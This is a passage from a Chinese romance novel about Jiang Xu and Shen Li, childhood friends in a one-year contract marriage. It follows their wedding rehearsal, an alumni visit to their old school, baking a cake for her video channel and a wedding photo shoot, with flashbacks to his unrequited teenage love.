江许刚回国,毕竟年纪轻,多数人没把他放在眼里。想着也要过了三四五年才能上任。后来去查才知道,人家在国外就已经为江氏拓宽了不少产业。
人嘛,最看重的还是利益。管他之前是怎么看人的,现在江许一下子登上顶峰,以前还叫他‘江少爷’‘小江总’的人,不也都学会了点头哈腰一口一个江总。
硬的不敢用,那就得来软的。酒喝的多了到后面什么话都好说。
“不必了,陈总。”江许站起身,朝身旁位置上的季之礼使了个眼色。
季之礼起身,搀住江许的一只手臂,一如既往的淡雅:“陈总,你看江总都喝醉了。我还是带他去隔壁的休息间休息休息。”
两人都这么发话,端着酒杯的陈丰也不敢继续强硬。
“那麻烦季总带着江总去隔壁休息,下次等江总有时间了,我们再约。到时候可要喝个尽兴啊!”
陈丰这样说,江许自然不敢拂面子,笑着说着下次他做东。
休息室依旧是新中式的装修,江许同季之礼进了门,将门合上后,坐到茶几前的沙发上。
“真醉了?”
季之礼挑了下眉,打算从包里摸包烟抽,一摸,兜里是空的,于是只能作罢。
喝醉了是假的,他的酒量不至于那么差,但继续在那屋里待下去,迟早抵不过灌酒最终瘫在那里。
他代表江氏出席饭局,就得注意身份和分寸,容不得做些有失体面的事情来,对江氏的名声不好。
但当下的江许需要休息是真的。
下午的航班从英国回来,时差没来得及倒就被拉去了饭局。
陈丰和父亲江致远是旧相识,面子不能不给。
江许翘起一只脚,黑色皮鞋悬空,露出底面薄薄的一抹红。
伸手捏了捏眉心,脑袋晕沉沉的,不由得带来一阵烦躁。
季之礼:“叫司机来接了吗?”
江许摇摇头,司机把他接到这儿后就让对方回去了。
刚才说要走,其实也是不想在包间里待着,一会儿被敬酒一会儿被各种奉承的语言捧着,他听的有些烦。
“那不正好,让沈璃来接你。”
江许眸中一顿,喉结上下滚了滚,默了会儿才接上话:“有些晚了。”
“而且她不喜欢酒味。”
所以今晚他不敢多喝。
低下头轻合上双眼,江许再睁开眼时视线变得有些模糊。他眯着眼晃了晃,视线停留在季之礼领间的撞色领带。
有些眼熟。
很像中学的时候他去沈家找阿璃,在她书柜上发现的那条。
那时候他天真地以为那是阿璃给他准备的礼物,毕竟那段时间离他的生日已经很近。
自小,同阿璃最为要好的异性只有他一个人,他自然理所应当地认为这条男士领带是给他的。
江许还记得那时候的喜悦,他小心翼翼地将礼盒打开,看着花纹领带静静地躺在盒子里,像是被吸引一般,他拿出领带迫不及待系在脖子上。
那段时间他和阿璃闹了些矛盾,阿璃嘴上说着近一段时间都不愿搭理他。他一个人憋不住气在学校看着阿璃和别人说说笑笑的,心里很不是滋味。
所以这礼物,也算是阿璃告诉他愿意和他和好了吗?
看着镜子里的领带和自己,江许的喜悦像是蹦爆米花似的在心腔里绽开。
想要快一点长大,打扮为成熟模样,成为她喜欢的样子。
要是阿璃能够多喜欢他一点就好了。
江许看着镜子里的自己,没一会儿,门外传来动静,紧接着房门被打开,镜子里多出了阿璃。
江许转过身,想告诉阿璃这条领带他有多么喜欢,想告诉阿璃,他这些天有多么想她,想告诉阿璃他错了,他不应该其他无关紧要的人同她闹了脾气。
无论怎样,阿璃还是阿璃,他的阿璃。
可是阿璃却显得很意外,走到他的身边犹豫了几下指着他脖子上的领带对他说:“江许,这不是给你的礼物。”
笑容顷刻顿住,跳动的心脏开始凝结,冻住。那种感受无疑是将他推倒在悬崖之下。
出乎意料的,他没像以前一样同她闹,同她争论她最喜欢的朋友是谁。他只是怔怔地看着她。
江许有些想哭,十七八岁的男孩子总是倔强爱面子的,他忍住泪,机械地取下脖子上的领带。
在得知领带属于别的男人时,他想要将领带撕碎,毁掉,连同沈璃喜欢别人的那颗心。
可他不能。
因为这样只会让阿璃更厌恶他。
不知从什么时候起,阿璃的关心和笑容,开始出现在别人那里。
他抗议过,嫉妒过甚至是针对过。可是都没有用,换来的是阿璃的警告和不解。
就连他策划了很久的成人礼阿璃也没有来。
成人礼上,他第一次喝了那么多酒,那是他第一次也是唯一一次喝到那样醉。
江许第一次感受到醉酒的不适,胃里时刻在翻滚想要吐出,脑袋就像是下一秒就会炸裂一般。
酒后会壮胆倒是真的,他跑去沈家问阿璃是不是喜欢上别人了。
泪水在他满是醉意的眸子里打着转。
可是阿璃,他最在乎的阿璃,和他说过成人礼要给他送一份大礼,许诺过要和他一年又一年一起吹灭生日蜡烛的阿璃那天的话语是那样的冰冷,陌生。
她说:
‘下次喝这么醉就不要来找我了,我不喜欢酒味。’
回忆化作一幕幕快速翻过的画面,等江许回过神的时候,季之礼拿着手机从休息室外的小阳台走了进来。
疼痛依旧在心中蔓延。
江许叹了口气,想将内心的情感压下去一点。
他向季之礼看去:“干嘛去了?”
“打电话叫人接你回家啊。”季之礼无奈摇摇头,想说什么又欲言而止,最终端起茶几上的紫砂壶茶杯抿了口茶。
——
沈璃到达饭店楼下的时候,天已经换上了黑幕。
饭店门前的喷泉哗啦啦喷着水,在半空中拐了弯的水流瞬间涌入了池中,又继续了循环。
季之礼给她打电话说江许喝醉了,喝的很醉的那种。
还说什么一直喃喃她的名字。
这些都不重要。作为嫁进江家的新婚妻子,她得去接江许,算是维持体面。
即使不为了这一点,她同江许认知二十多年,把醉酒的他送回家也是应该的。
季之礼派的人就在饭店门口等她,带着她一路畅通无阻坐电梯去了十二楼。
打开休息间的门,她看见坐在沙发上闭目养神的江许。
几日不见,他的眼底有些乌青,一副疲倦的模样。
“交给你了。”季之礼清了清嗓子,见找来的大佛到场,也不愿继续待在这里当巨亮的灯泡,站起身整了整衣间便出门离开。
江许睡的很浅,几声对话和关门的声音将他吵醒。
抬起疲惫的眼皮,看见站在眼前的沈璃时,江许下意识的反应是他还在梦里。
不然阿璃怎么会在这里。
阿璃……他很想念她。
而阿璃……有想起过他吗?
“阿璃…”
刚休息了会儿,再开口说话声音避免不了有些哑。
屋里有一股酒味,不是很浓烈,但看他的模样却不是很好。
沈璃向前走了几步,开口问他:
“喝了多少?”
喝多了毕竟对身体不好,况且江许
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以前因为绝食过度得过一段时间胃病。
眼下是这星期里他们的第一次见面。
领证之后他们就很少见面,江许忙着工作,时不时就要满城满世界飞。而她忙于自己的账号,找更好的原料和制作灵感,最近因为太过操劳还在考虑招个摄影助理。
一周没见,两个人的距离似乎又无形的远了些。
“没喝多少。”
江许怕她误会,用手在空中比划:“就这么几小杯。”
话落,他下意识揪起衣角拉到鼻边上闻了闻。
“身上有酒味,我去换一件。”
说罢,就要起身。
沈璃拦住他,拉住他的手臂,皱了下眉。
“不用了,待会儿回家再换。”
只当他是喝醉了耍些小性子,这么点酒味,算不上什么,她也不是什么闻不得酒味的人。
白色的劳斯莱斯在黑夜里行驶着,江许将脑袋靠在床上,方才喝了些凉水,身体上舒服了许多。
扭过头,看向一旁的沈璃。昏暗的后车厢,江许的眸子是那般的明亮,许是因为喝了酒,眸前有一层醉意。
“季之礼告诉你的?”
除了季之礼,方才在场的还有谁能给沈璃打去电话。
沈璃嗯了一声,视线仍旧放在亮着的手机屏幕上。
昨天下午发布的招聘信息,截止今晚已经不少人人提交了简历。
要找一位合拍又有技术在身的摄影助理,并不是一件容易的事情。除了审查简历,还是得约个时间交谈交谈。
季之礼说江许喝的烂醉,但事实好像并非如此。
窗外景是霓虹灯五彩的颜色,汽车快速地驶过,窗上只留下残影。
这一带是上江市最繁华的地方,高楼不在少数,耸立的英式建筑上方传来光芒。
车子驶上大桥,向外眺望,能看见远处乐园还在运行着的摩天轮。
江许上一次坐摩天轮,是在英国的伦敦眼,同沈璃一起。
夜晚的伦敦眼,幻化为绚烂而巨大的光环,是一道亮丽的风景线,紧邻着泰晤士河,是爱情萌生的绝佳之地。
却偏偏没能将他和沈璃的爱情种下种子发芽。
“最近几天有时间吗?婚礼那边需要进行彩排。”他忽然间提及,默默向她看去。
他们的婚礼,他很早就开始期待。
沈璃的长发搭在肩后,如海藻般浓密而丝滑。有些碎发飘到锁骨上,静静地落在突出的骨上。
江许看不清她在看些什么,只是察觉到她微微皱起的眉头,似乎在为什么事情烦恼。
“嗯,看你的时间吧。定好了给我说就行。”
一年为期限的婚姻,婚礼并不用那么上心。两人之间,还是以江许的空闲时间为主好。
江许问过沈璃很多对婚礼的期待,可沈璃思来想去也说不出什么要求。
可能…因为总觉得很快就会散伙吧。
她低着头,等待联系上的摄影助理回复信息。
两人约于明天下午在林雪的咖啡馆见面。
对方回复好可以约的时间,沈璃刚要打字,就听见身侧的人开口问自己:“阿璃…”
快速地回复完消息,沈璃关上手机,转头看向江许,心默默有些抽动。
“怎么了?”
虽然是他亲口说没喝多少酒,但看他醉醺醺的模样,身子肯定是不好受的。
沈璃心里想着待会儿回去应该让林妈给他弄些醒酒的东西。
江许好像还是那样不太会照顾自己。
那他在国外那些年是怎么过的?虽然也有保姆在那边照顾,但也不可能事事都管。
他没向她提及过那段时间。
江许投来的目光热烈而迷离,像是有一颗火种藏在眸子后边,开始满满的燃烧成一颗火球。
嗓子眼像是被什么东西堵住,想说话又说不出,欲言又止只会增加疼痛的感觉。
人在喝醉的时候,曾经那些脑海里存在已久的想法便会突然冒出来,不计后果地问出。
默了默,借着醉意,他用微弱的声音问道:
“你对我…有一点点的喜欢吗?”
5. 彩排.
“江总,到时候您先进场到这个点,然后灯光会打过来,稍做等待后江夫人进场走到您身边,然后一起走向那边的舞台。”
作为上江市最大规模的度假酒店,铂兹的宴会厅大厅能同时容纳近千人。
高大宽敞的宴会厅层高九米,由水晶和钻石串联的链条从高空垂落,堆积在一块儿如同倾斜的瀑布。两侧香槟色的墙面上每隔一段距离都挂有精致的水晶灯,灯下摆放着巨大的花架,等到正式婚礼那天搭上空运而来的鲜花。
米白色的地面印有巨形花纹,花纹中央的字母是新人的名字缩写。
江许站在宴会厅的中央,认真听着工作人员的指导。
虽说婚礼有专门的人进行策划,但他还是花了不少心思。从提要求到多次打回重做要求精益求精,一些细处的设计都是由他本人提出。
例如地面的花纹,四周新鲜的花篮。。
“江夫人,大体流程您了解清楚了吗?”
礼堂里的灯光洒满各处,地面没有任何一片陷入黑暗。沈璃呆楞地望着地面上的某片光晕,许久才缓过神来。
很梦幻的场景,但……
沈璃轻微地叹了口气,脸上扬起礼貌性的笑容。
“嗯,差不多明白了。”
下个星期,她会在这个地方结婚,父亲会牵着她走过T台的前半程,然后把她交给另外一个男人,并期望他能让沈璃永远幸福。
幸福吗?可她幻想过的幸福里存在着另外一个人。
这场婚姻圈住她的人,到头来也只是让两个人互相折磨罢了。
沈璃默默看向不远处的江许,思绪万千,在某一刹那同对方的视线交汇,又立马低下眸子躲开。
婚礼彩排顺利结束,同行的化妆师给沈璃补了妆。离开度假酒店后,沈璃同江许坐车去了高中母校。
今日是母校举办的两年一度的校友会,江许作为优秀毕业生和著名企业家被邀请上台演说。
“看来母校近些年的变化不小。”看着熟悉的校园环境,江许忍不住感慨。
校方特意安排了人员带领二人从停车场到学校会堂。
与其说是高中学校,不如说这里是一个微缩版的城市。
入门处便是巨大的白色镂空状学校缩写的立体牌子,背侧是水珠四溢,光影交错的喷泉。
去会堂的路上经过室外网球场和篮球场,里面有不少还在活动的学生。
阳光普照,青春四溢的学生们挥动着球杆,一举一动尽显青春的张扬与热血。
学校会堂外表呈不规则的几何图案,门外还挂着欢迎校友回访母校的横幅。
学校的校徽高高地印在会堂之上,踏入门前的台阶,角落处散来股股冷气。
这时候入场的人已经不少,志愿者将二人指引到了第一排的正中间。
“有什么事情尽管吩咐我。”
二楼的调音室还在调试室内音响,通过对讲机让一楼的主持人拿着手麦试音,发出几声嘈杂的音。
椅前的桌子上立着入座人的姓名牌,沈璃看了眼身侧空位前的姓名牌,明晃晃地写着‘江许’两个字。
刚收回目光,余光掠过一道人影,江许走到她身旁坐了下来。
“渴吗?”
江许抽出抽屉里的矿泉水,也不在乎她的回答如何,将水瓶放在了沈璃跟前,连同不知他从哪里弄来的巧克力派。
沈璃‘嗯’了一声,上午婚礼彩排完就匆匆赶了过来,连午饭都没来得及吃。
趁着这会儿仪式还没开始,沈璃撕开包装袋,快速将巧克力派消化。
味道甜而不腻,表面还有切成块状的榛子,别有一番风味。
沈璃将手中的包装袋揉成团扔进志愿者准备好的纸袋里,刚放进去就听见身边的江许的淡淡地开口对她说:“会堂好像没怎么变。”
六七年没有回来,学校很多地方都发生了巨大的改变,唯独这里还是记忆里的模样。
这间会堂是他们那一届上高一时建好的,沈璃没记错的话,会堂和当时一同新建的艺术礼堂都是江家捐的。
沈璃:“嗯。”
回忆化作脑海中翻页的书籍,画面快速地闪过,让她来不及伸手止住翻出其中一页好好查看。
嘉宾全部到场,会堂坐满了前半部分。
选拔出的主持人身着靓丽的礼服上台,脸上的笑容迟迟不肯落下,像是机器人提前设置好程序。
一套昂扬的说辞后进行老套的项目,现任领导发表完演讲开始展现学校内部挑选出的一些学生表演的节目。
独唱,合唱,舞蹈以及学校民乐团合奏,悠扬的乐声传入耳里,节目刚到一半,江许便被人叫走去候场。
学校请来的媒体不少,一个个不是把摄像机扛着就是架着,还有举着麦克风随时准备插缝上去找这些平日里鲜少暴露在公众视野的企业家采访的。
江许身着一身整齐的西服套装,敞开的西装外套璃是同色系的马甲,将紧实的肌肉掩藏的同时勾勒着优越的身材曲线。
他的五官本就长得深邃,脸型如同是上帝精心雕刻过一般挑不出任何的毛病。挺直着脊背自带独特气场地走到指定位置,移动的灯光不偏不倚地落在他身上,沈璃听见身后时不时传来兴奋的惊呼。
这样的场面对江许而言不过是小菜一碟,他有条不紊地照着早已准备好的稿子念,声音磁性而具有成熟男人的魅力。
作为新婚妻子的沈璃在台下抬着下颚望着台上的丈夫,眼里饱含的情绪被在场的媒体记者撰写为二人两小无猜郎才女貌,是天造地设的一对。
而只有沈璃知道,那些在她脑海里不停翻着页面的名为过去的那本书,突然停止。
停住的那一页,是在高一那个时期。
那时候她报名参加年级唱歌比赛,一切准备顺利却在彩排的时候感到怯场,觉得自己的心脏砰砰砰像是下一秒就要蹦出来似的感到可怕与前所未有的紧张。
彩排的那天会堂里只坐满了一层,正式表演的时候二楼的观众席也会开放,沈璃不敢想象自己会害怕成什么样子,于是打了退堂鼓,两次彩排不是忘词错词就是破音。
不忍好友这副模样的林雪趁着午间带着沈璃来到无人的会堂,给她放了伴奏让她可以练习。
‘闭上双眼,这个世界就只有你和你的心跳。’
沈璃照做,跟随着背影伴奏心里默打着节拍,成功将歌曲唱了一半,压住内心的那块巨石也逐渐消失不见。
越唱越轻松,她想象着台下有为她而挥舞的荧光棒,有眼里全是她的听众。
这样想着,她缓缓睁开眼。
空荡的观众席上那抹荧光是那样的亮眼,从座位席上站起来的男生只为她一个人呐喊。
江许对她说:
‘阿璃,放轻松。’
‘阿璃,我一直都在台下陪你。’
‘你就是台上最万众瞩目的。’
他的眼里,永远都只有他的阿璃。
他的…阿璃。
清脆的掌声拉回了江许的思绪,他收回看向台下沈璃的目光,朝着观众席微鞠一躬,走向身后的暗处下台,在旁人的指引下回到座位。
演出节目还在继续,热闹的音乐声中,江许偏了偏头,看向她凑近问道:
“刚才我在台上的时候,你在想什么?”
他看见阿璃在走神,是想起了什么?
是在想他,还是在想…那个他?
伴随着音乐的结束,沈璃跟随着大众鼓掌,默了默,趁着间隙回他:
“我想起了过去。”
江许的心沉了
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沉,身子靠在椅背上,刚才,他也想到了过去。
江许反问道:“想起过去的什么了?”
“没什么。”沈璃耸了耸肩,“就是想起我上台表演怯场的那场,现在想想,好像还挺美好的。”
喉结上下滚动,江许扯了扯领带,视线移到沈璃放在大腿上的戴着戒指的那只手上。
他沉沉地回应:“嗯。”
以前的确很美好,
如果后面没有那个人出现的话。
校友会以江氏捐款为学校新建三栋艺术楼外加设立高额奖学金结束,五色的彩带在会堂的空中飘扬,最后在低空转了个圈停落在地面。
学校里一年一度的篮球联赛也在校友会今天举行,二人被志愿者引领到室内体育场,里面好不热闹,篮球赛已经举行到一半,两边球员中场休息,拉拉队员上场表演。
学校为校友预留的位置在观众席正中央,绝佳观球视野。校领导陪在身边解说着近些年学校对体育发展地重视,去年还培养了好几个学生进入省队,有些直接去国外进行专业培训。
“我以前听其他领导说,江总当初在校读书的时候还是篮球联赛的MVP。”
江许的眸光一沉,脸上并没有出现领导预料之中的笑容。
双手合并成拳放在两腿之间,漫不经心地看着底下赛场上开始陆续上场的球员。
多年前,他也是里面的球员之一。穿着蓝色的队服在洒着汗水。心思一半放在赛场上被抢来抢去的篮球一半用于观察观众席上的沈璃。
他想让阿璃对他刮目相看,那时候他和阿璃闹了些矛盾,在他的软磨硬泡下,阿璃在前一晚答应他,他若是得了MVP就和他和好。
那时候的江许不想阿璃继续和他冷战,阿璃不搭理他,甚至忽略他的存在,简直是要他的命。
江许全神贯注于篮球赛,最终顺利拿下全场最佳,只是……
“我和夫人下午还有其他安排,就先离开了。”
沈璃跟在江许的后面一同立场,比起体育场的喧嚣,户外安静乐不少。
鸟儿迎着阳光飞到枝头上站立,抖了抖翅膀开始迎着微风歌唱。
体育馆外有一段石子路,沈璃心思不在看路上,一不小心脚下的低跟踩上光滑的石子,扭伤了脚。
“没事吧?”江许反应及时,立马来到身边搀扶住她。
“没有太大的问题。”
跟随送行的领导询问需不需要去一趟医务室,学校的医务室相当于小型的私人医院,一切应有尽有,更别提治疗脚扭伤这点小病。
“没什么大事,不麻烦医生了。”
脚腕上的疼痛一瞬间钻心,忍一会儿便没什么大碍。
沈璃谢绝了旁人的好意,跟着江许上了车。
“都这样了,忍着做什么?”
车窗慢慢上摇,从窗缝里吹进来那丝带着热意的风被阻挡在外。
车上备有简易的医疗箱,江许让随行的助理拿了出来,亲自打开取出里边的药膏。
药膏的气味浓烈,手指放在药膏的尾部轻轻一挤,棕黄色的药膏挤在手指上,气味瞬间在后车厢蔓延。
“我自己来。”沈璃不想麻烦他。
喉结上下滚动,江许没理会她的拒绝,身子朝前俯了俯,脑袋低下,将指腹的药膏抹在那处红润之上。
冰凉的触感让沈璃不自觉身子一颤,他的指腹仍旧停在那处,动作轻柔地揉搓按摩。
沈璃只看得见他乌黑的短发,以及那双聚精会神的双眼。
“我是你的丈夫,本来就是用来麻烦的。”
“以后这些事不必觉得麻烦忍着,我应该为你做这些事,也很乐意。”
药膏大半部分被吸收,冰凉的触感逐渐减弱,随之而来的是来自江许指腹的温热。
6. 爱他.
纯白色料理台上的厨师机不停运作着,淡奶油在不锈钢盆里渐渐成型为奶油状。
沈璃站在烘培房里,长发被梳成丸子头,碎发也紧贴着头皮。腰上系着的一条蔷薇紫围裙上有几朵娇小的蔷薇。
手上套着隔热手套,一旁宽大的烤箱发出‘叮’的一声后,沈璃将电源切断,等待了一会儿才拉开烤箱的玻璃门。
蛋糕胚的香气四溢,沈璃端起放置蛋糕胚的架子,放在一旁的空余区域放凉。
黑色的三脚架放置于离她一臂的距离,右上方的提示灯亮着红色。
江许刚通完电话从院子里进来,路过烘培区看见有条不紊做着事情沈璃,忍不住驻足。
料理机的工作停止,沈璃将装有奶油的盆拿到面前,手拿抹茶色的抹刀将奶油放进敞口的裱带里。
沈璃发送到社交媒体上的视频从不露脸,只有烘培的细节部分,后期配音使用自己的真声,经常被网友议论真正的面容是什么样的。
由于全神贯注,沈璃并没有发现站在相机背后的江许,她一心放在手上的工作上,举起清洗干净的锯齿刀将蛋糕胚从中分割。
拍摄需要安静不能发出杂音,江许一手插在西装裤兜里,无声的将视线跟随。
烤好的蛋糕胚香香软软的,有着同她身上一样的那股香甜。
沈璃放下手中的锯齿刀,伸手去拿台上的其他工具,一个没注意碰倒了一旁的玻璃水壶,玻璃碎了倒不重要,这是里面滚烫的开水顿时扑上了她的手背。
“嘶。”
白嫩的手背顿时红了一片,沈璃没忍住出了声,看了眼手背又看了下相机所在的位置,好在没有拍摄进去,不然后期剪辑会更加麻烦。
“用凉水冲一会儿。”沈璃还站在原地感受疼痛的时候江许就冲上来握住了她的手腕,牵着她的手到水槽里,打开水龙头放出凉水冲洗烫红的一片。
掀起的疼痛被流动的凉水冲洗掉,直到感觉手上的冰凉像是要结冰似的,沈璃缩了缩身子,对一脸认真盯着自己手背的江许说道:“可以了。”
水龙头关闭,一切又恢复平静。
沈璃倒吸了口气,做烘培拍视频的时候受伤是常有的事情,她有想过很多办法预防也提醒过自己要小心,今天还是没能避免。
手背的一大半被烫红,甚至有些红肿的迹象,江许蹙了蹙眉,叫来林妈拿来烫伤膏。
“阿璃,这次怪我,刚倒进去的开水本来是想说放量一会儿就拿开,结果就给搞忘了,你瞧瞧我这记性,老了是真的不中用了……”
本身就是自己不小心碰倒了瓶子,哪里怪的上别人,沈璃连忙摇摇头,让林妈不要自责。
“视频可以剪辑的,而且我的手涂了药膏也就没什么事了。”
嘴上安慰着林妈,心里还是有些泄气,因为她自己的不注意,当下只有两种选择。
顶着红肿的手完成最后的步骤或者是等到下一次重新拍摄。
蛋糕夹层需要使用到的水果夹心都已经备好了,视频也可能会衔接不上。
林妈收拾完地面的残局本想着帮些忙,但她家里有事,女儿都打了个好几个电话,江许就让她先离开了。
沈璃盘算着接下来该怎么办,忽然听见江许说道:
“剩下的步骤,我替你完成吧。”
沈璃怔了一下,下意识想说不用,但仔细一想,又不需要露脸,通过视频剪辑最后的步骤最终只会占据半分钟后,但就是……
“之后的步骤是放馅料和裱花抹面,你可以吗?”家里的厨师是烘培的一把好手,但太过熟念和专业的做法显得太敷衍观众。
“初中的时候你教过我,忘记了吗?”江许取下挂在墙壁挂钩上的黑色围裙系在腰上,两根带子在腰后系成结绕着他那强劲有力又细的腰肢。
沈璃半信半疑,以前江许去沈家找她的时候的确如此被安排打过几次下手还给蛋糕抹过面,但毕竟都是快十年前的事情了。
比起沈璃的焦急,江许显得从容不迫。
站在摄像机前,拿起抹刀,刚要下手,一抬头看见还在录制的摄像机,有些烦愁。
他压低声音问沈璃:“需要注意什么吗?”
沈璃摇了摇头,只需要按照步骤继续做下去就好。恰好烘培室紧挨着的窗边洒类似些阳光,透过窗边那一层薄薄的白色轻纱落下,相机拍下的人像背景更加柔和,搭上屏幕里衬衫衬托的江许的身材,有种‘家庭煮夫’的感觉。
沈璃到没想到江许在这方面还真有两把刷子,用抹刀在第一层蛋糕胚表面游刃有余地操作,将表面都涂抹上均匀的奶油后加入水果夹心,再放上一层蛋糕胚继续操作。
到最后封了顶,蛋糕胚的四周也被奶油抹匀。
江许放下抹刀,拿起装着粉红色奶油的裱带,抬起了头。
沈璃站在摄像机后方,表情温柔地看着摄像机屏幕,似乎对拍摄下的内容很满意。
江许恍惚了一瞬,没有出声打扰,也没有动作。
他多想时间停留在这一刻,哪怕多停留一秒也好。
就这样和阿璃静静地待在一起,没有疏离没有争吵,过着他们的小日子。
就这样静静地看了会儿,直到沈璃后知后觉画面里的人没有了动作,抬起头看他,才听见江许开口问:“蛋糕上面,需要做什么装饰?”
蛋糕的装饰沈璃尚未拿定主意,这次主要是拍治愈解压类视频,蛋糕样式什么的并不重要。
开始做之前沈璃准备了好些可以用于装饰的道具,例如姜饼人,各类形状的小饼干和糖果。
“面前塑料盒里的道具都可以用,你随意发挥。”
江许点了点头,开始接手眼前工作的时候为了方便扁起了衬衫的袖子,露出一截小麦色肌肤的手臂,拿着抹刀使力时侧面总是冒出些突出的线条,流畅而极具魅惑。
他低头想了会儿,明亮的灯光下,暗色的眸子略微发亮。
半晌,他拿起烘培纸上放着的小镊子,不紧不慢地夹起一块姜饼人放在圆形蛋糕面中间,随后又夹起第二块放在旁边,两个姜饼人中间留了些位置。
江许停下动作,抿了下薄唇,浓眉之下的眸子闪了闪,声音沉沉的:“阿璃,我不太会画图案,能来帮帮我吗?”
沈璃的手上还敷着林妈特意从冰箱里找出的冰袋,冰凉的触感压下那一片红肿,因为滚烫而带来的刺痛逐渐消失,冰袋开始融化散出来的冰水铺满了手背。
沈璃利索地抽了张纸巾擦干手上的水,走到
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江许身边。
这次换她询问江许:“你想要什么图案?”
江许盯着裱花袋子里粉嫩的颜色,漆黑分明的睫毛上扬,目光炽烈聚集在身边的人身上:“想要一个爱心。”
江许有私心,两个姜饼人代表他和阿璃。画上一个爱心仿佛就能使他们相爱。
他想让阿璃多喜欢他一点,无论以什么样的方式祈求,无论以什么样的方式实现。
沈璃一瞬间有些错愕,不知该说些什么好。她不是不明白江许对自己的情感,可她不敢面对不能面对。
她包裹着裱花袋的手顿了顿,空出的手捋了捋鬓边的短发撇在耳后,随后利索地在两个姜饼人之间的位置挤了些奶油,再用提前准备好的透明刮片把奶油弄成江许想要的爱心形状。
罢了,就只是一个爱心而已。
完成任务,她把裱花袋递给了江许。
“还需要什么装饰吗?”
男人俯下身子,手掌握着裱花袋的中部,控制着力道往蛋糕面上挤出边缘的奶油花纹,由于生疏,挤出的花纹一个大一个小,甚至有不成花纹挤成团的。
眉宇之间蹙了蹙,江许停下手上的动作,露出无措的表情,抬起头轻声开口:“我不太会使力,能帮帮我吗?”
话落,放在身侧的手轻握成了拳,食指和拇指的指腹轻擦,深吸了口气。
这几天升温,特别是下午的时候太阳直射温度升高。一楼开了冷气,凉爽的气体从上方吹下,拂到沈璃的侧脸上,卷起脸颊上的碎发,浓密的睫毛眨了眨。
沈璃耐心地示范了一遍,在他挤上的奶油旁边紧挨着挤出花纹,又抬头看他,询问他有没有学会。
江许难得有些把握不定:“应该…可以吧。”
沈璃索性选择亲自教学,站在江许的左侧,附上他拿着裱花袋的那只手。
年少时的亲密让她一时间觉得有什么不对,等到带着江许挤完奶油,才发现自己的手从外紧紧包裹着江许的手掌。
而他的耳根子开始泛红。
虽然中途发生了一些小意外,但好在拍摄成果是好的。
“给你的。”
晚饭后的甜点,是下午两人合作完成的蛋糕。蛋糕尺寸不大,一个人吃太多两个人吃刚好。
切好了蛋糕,沈璃将盘子放到茶几上,江许恰巧从院子里回来,迎上她。
“很好吃。”
蛋糕胚入口松软,奶油甜度刚好,江许一边品味香甜一边抬头看她。
他真的很喜欢今天,只有他和阿璃,阿璃还主动握着他的手。
蛋糕也是两个人一起做的,蛋糕面上的图案,两个小人,代表他和阿璃。
这本应该是他们相处的常态,就像很多年前那样,阿璃会第一时间把做好的甜品给他吃,他也总会换着花样地夸赞。
要是时间一直停留在今天该多好,要是阿璃一直握着他的手该多好。
江许看着坐在不远处的沈璃,这样默默想着,
要是阿璃心里有他,要是阿璃也爱他,该多好……
人总是贪心的,尝过一点甜头就会想要更多。
他像个询问大人下一次还会不会糖果吃的小孩一样问沈璃:“下一次我还可以帮忙吗?”
7. 协议.
“新娘可以扭头看一下新郎。”
“新娘新郎再靠近一点,对往中间走一点。新郎可以搂住新娘的腰,亲密一些。”
“可以靠近亲吻一下。”
婚纱照的摄影地在上江市的英式教堂,最初江许提过去伦敦的教堂拍摄,顺便还可以去英国其他景点取景,但沈璃没同意。
为期一年的表面婚姻,不需要花费这样多的心思。
当然,她说出的理由是觉得在本地拍摄更为方便。
虽然被称为新娘新郎,但摄影师提议两人亲吻的时候,沈璃还是明显僵住。
她从椅子上站起来,侧着身子让江许搂住自己的腰,向前俯身靠近江许又及时停住,两人之间留了些距离,摄像机的位置拍过来恰好错位接吻。
拍摄间隙,作为伴娘过来帮忙的林雪凑到沈璃身边问道:“都结婚了,接个吻还要借位?”
两个人虽然相当于协议结婚,但怎么这点简单的身体接触都这么别扭?
还不如从前读书那会儿,比现在亲密的多。
沈璃没回答,接过工作人员递来的水,插上吸管喝了些润喉。
林雪:“要我说,干嘛不去国外拍。江家又不是没有私人飞机,直接申请条航线过去,还能去散散心培养感情。”
林雪对闺蜜的选择感到不解,毕竟没有人会不想让自己的婚纱照变得完美。
况且江许有的是钱,每个国家拍一套也不在话下。
“以后总是要散的。”沈璃淡淡地说道,将水杯放在化妆台上,抬眼看着镜子里面的自己,“难不成真的要一辈子在一起?”
她只打算把婚姻延续到一年后,在这一年里她会尽力做好江家的儿媳妇,做好江许的妻子,给江家撑台面,不做那些有失‘江夫人’名号的事情。
女人颊边的碎发飘了飘,下垂的睫毛不由得一颤。沈璃吸了口气,只觉得听起来短短的一年是那样的充满未知。她抬起眼将视线定格在镜子里,看着不知什么时候出现在自己身后的人,不由得身体一怔。
江许什么时候过来的?
镜子里的人眼神淡漠,盯着镜子里的她不知道在想些什么。
沈璃避开视线的触碰,刚才自己说的话,他又听见了多少?
——
拍完婚纱照,沈璃跟着江许去了江氏总部。
位于市中心的江氏总部装修辉煌大气,金黄的灯光铺满着大理石地板,踏上长长的台阶到达平面,二人进入一旁的专属电梯,门关,圆弧状的玻璃面外是不断下降的场景。
每一层工作区都坐满着人,分工有序地进行工作。
电梯到了第二十层,静谧的一带。
“你先在休息间等我,我有个季度汇报,结束了就来找你。”
江许办公室比沈璃想象中的还要大,更加气派。书桌后面棕色的墙板上挂着整个集团的庄严的巨型徽章。
“嗯,你先去忙。”
书桌后面墙上有个暗门,推门进去是另一番天地。
沈璃坐进客厅摆放的柔软沙发里,身子向后靠在真皮椅背上,沙发有按摩功能刚好按按肩颈能缓解下疲劳。
一上午忙着拍婚纱照,上次拍好的视频还没来得及剪辑发布。
自媒体账号小有起色的时候沈璃学过一段时间视频剪辑,视频质量和受喜爱度提升了不少。
裁剪穿帮镜头和一些话外杂音,再将视频画面亮度提高到舒适的程度,选择背景音乐,适时贴上一些合适的字幕。
沈璃昨晚没怎么睡好,这是经常会出现的事情。她一忙起来就容易焦虑。
这几天事多,找合适的助理,思考下一期拍摄主题,处理品牌方投来的合作橄榄枝……
按下侧键把手机握在手心,疲惫进入了沈璃的大脑,上下眼皮开始打架,最后实在撑不住索性闭上眼睛睡了过去。
以前的沈璃很少会睡觉做梦,自从近些年的变故接二连三的发生睡眠质量也就下降,常常会梦到过去的一些碎片记忆,有些又和事实不符,走向极其怪异。
睡眼惺忪地睁开眼时,她刚从梦境里脱离,梦里她没有理由地从高楼坠下,那种失重的无力感延续到了现实里,身上起了层冷汗。
